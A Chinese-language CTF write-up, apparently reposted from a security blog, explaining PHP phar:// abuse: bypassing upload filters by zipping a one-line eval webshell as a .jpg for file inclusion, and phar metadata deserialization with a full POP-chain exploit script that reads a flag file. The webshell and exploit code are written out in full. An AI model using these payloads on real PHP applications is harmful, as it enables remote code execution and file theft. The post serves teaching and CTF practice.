文章首发于先知社区 https://xz.aliyun.com/t/3692
Phar的简述
翻译自手册:
phar是什么? Phar归档最好的特点是可以方便地将多个文件组合成一个文件。因此,phar归档提供了一种方法,可以将完整的PHP应用程序分发到单个文件中,并从该文件运行它,而不需要将其提取到磁盘。此外,PHP可以像执行任何其他文件一样轻松地执行phar归档,无论是在命令行上还是在web服务器上。
利用姿势一:绕过上传限制
例子
使用Phar://
伪协议流可以Bypass一些上传的waf,大多数情况下和文件包含一起使用,就类似于我们的压缩包(其实就是一个压缩包),只不过我们换了一种方式去执行而已
写一段小代码测试一下:
test.php
1
| <?php @eval($_POST["cmd"]);?>
|
然后将test.php压缩,将压缩文件改后缀为.jpg
index.php
1 2 3
| <?php include('phar://./test.jpg/test.php'); ?>
|
成功包含
image.png
例题:安恒11月月赛:image_up
信息收集:
http://101.71.29.5:10043/index.php?page=login
尝试伪协议读取一波源码
base64解码
index.php
1 2 3 4 5 6 7 8 9 10 11
| <?php if(isset($_GET['page'])){ if(!stristr($_GET['page'],"..")){ $page = $_GET['page'].".php"; include($page); }else{ header("Location: index.php?page=login"); } }else{ header("Location: index.php?page=login"); }
|
login.php
1 2 3 4 5 6
| <?php if(isset($_POST['username'])&&isset($_POST['password'])){ header("Location: index.php?page=upload"); exit(); } ?>
|
upload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php $error = ""; $exts = array("jpg","png","gif","jpeg"); if(!empty($_FILES["image"])) { $temp = explode(".", $_FILES["image"]["name"]); $extension = end($temp); if((@$_upfileS["image"]["size"] < 102400)) { if(in_array($extension,$exts)){ $path = "uploads/".md5($temp[0].time()).".".$extension; move_uploaded_file($_FILES["image"]["tmp_name"], $path); $error = "上传成功!"; } else{ $error = "上传失败!"; }
}else{ $error = "文件过大,上传失败!"; } }
?>
|
分析:
从upload.php可以看出只能上传(”jpg”,”png”,”gif”,”jpeg”)文件,而且再index.php中在包含的文件后面强行加了”.php”,直接包含图片文件明显不可以了,于是就用到了我们的Phar伪协议流,将我们的一句话木马打包成压缩包,然后再将后缀改为.jpg
,这样就能通过Phar伪协议去包含我们的一句话木马了。
这题有一个坑点,就是时间戳的问题:
1
| $path = "uploads/".md5($temp[0].time()).".".$extension;
|
这里要time()+8*3600
,时区不同所以要加上8小时
payload:
菜刀连接即可getflag
image.png
image.png
利用姿势二:Phar反序列化漏洞
我们一般利用反序列漏洞,一般都是借助unserialize()
函数,不过随着人们安全的意识的提高这种漏洞利用越来越来难了,但是在今年8月份的Blackhat2018
大会上,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()
函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar://
伪协议读取phar文件时,会反序列化meta-data
储存的信息。
Phar文件结构
Phar文件主要包含三至四个部分:
1. A stub
stub的基本结构:<?php __HALT_COMPILER();
,stub必须以__HALT_COMPILER()
;来作为结束部分,否则Phar拓展将不会识别该文件。
2. a manifest describing the contents
Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以反序列化的形式储存,这里就是漏洞利用的关键点
image.png
3. the file contents
被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化
4. a signature for verifying Phar integrity
签名格式
image.png
小测试
既然都知道Phar文件的基本结构了,那么我们就写一段代码来测试一下
PS:php.ini中必须设置phar.readonly=Off,不然Phar文件就会无法生成。
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class Test{ public $test="test"; } @unlink("test.phar"); $phar = new Phar("test.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new Test(); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
|
查看一下phar文件的结构,可以看到Meta-data的内容是以反序列的形式储存的。
image.png
那序列化部分的内容怎么反序列呢?
在使用Phar:// 协议流解析Phar文件时,Meta-data中的内容都会进行反序列化
小trick:系统文件操作的函数一般都能使用伪协议流,Phar:// 也是ok的
写一段小代码测试一下:
1 2 3 4 5 6 7 8
| <?php class Test{ function __destruct(){ echo "test"; } } file_get_contents("phar://./test.phar/test.txt"); ?>
|
可以看到成功触发了反序列化
image.png
实战运用
一般情况下,利用Phar反序列漏洞有几个条件:
1 2 3
| 可以上传Phar文件 有可以利用的魔术方法 文件操作函数的参数可控
|
例题:SWPUCTF2018 SimplePHP
信息收集
这题有两个功能:1.查看文件。2.上传文件
按流程走一下,先查看一波源码
file.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php header("content-type:text/html;charset=utf-8"); include 'function.php'; include 'class.php'; ini_set('open_basedir','/var/www/html/'); $file = $_GET["file"] ? $_GET['file'] : ""; if(empty($file)) { echo "<h2>There is no file to show!<h2/>"; } $show = new Show(); if(file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty($file)){ die('file doesn\'t exists.'); } ?>
|
upload_file.php
:
1 2 3 4
| <?php include 'function.php'; upload_file(); ?>
|
function.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php
include "base.php"; header("Content-type: text/html;charset=utf-8"); error_reporting(0); function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; if(file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo '<script type="text/javascript">alert("上传成功!");</script>'; } function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); } } function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>'; return false; } } } ?>
|
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| <?php class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } }
class Show { public $source; public $str; public function __construct($file) { $this->source = $file; echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } } ?>
|
分析:
file.php中用了file_exists()
函数判断读取的文件是否存在,并且源码里面告诉你flag在f1ag.php里面,所以猜测考察用Phar反序列化去读取flag。
简单地浏览一下所有的php代码发现只有两个读取系统文件的函数:
1 2
| highlight_file() file_get_contents()
|
pop链分析
首先看到Show类中的_show方法:
image.png
可以看到f1ag被ban了,highlight_file
利用不了
然后再看到Test类里面的file_get方法有file_get_contents
函数,再回首file_get是在get方法里面调用的,而get方法是通过触发魔术方法__get()
去调用的
1
| __get():获取类中的一个不可访问属性或者是不存在的属性会调用此方法
|
那么我们怎么去触发__get
呢?再回到类Show中看到
image.png
看到这里思路就很清晰了,只要我们把Test实例化的对象存储在str的数组中,然后再去调用source属性(即Test中不存在的属性),就可以触发__get()
了。那么我们如何触发__toString()
呢?
1
| __toString():将一个实例化对象当做一个字符串来使用时,会自动调用该方法
|
在看到C1e4r类里面,看到__destruct()
刚好有对字符串的输出
image.png
整个pop链就很清晰了,最后就是写exp了
编写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php class C1e4r{ public $test; public $str; } class Show{ public $source; public $str; } class Test{ public $file; public $params = array(); } @unlink("test.phar"); $phar = new Phar("test.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $fun1 = new C1e4r(); $fun2 = new Show(); $fun3 = new Test(); $fun3->params['source']="/var/www/html/f1ag.php"; $fun2->str = array('str'=>$fun3); $fun1->str = $fun2; $phar->setMetadata($fun1); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
|
构造文件名
1
| $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
|
最后的payload
getflag:
image.png
Reference:
https://paper.seebug.org/680/
http://php.net/manual/en/phar.fileformat.phar.php
最后更新时间:
know it then hack it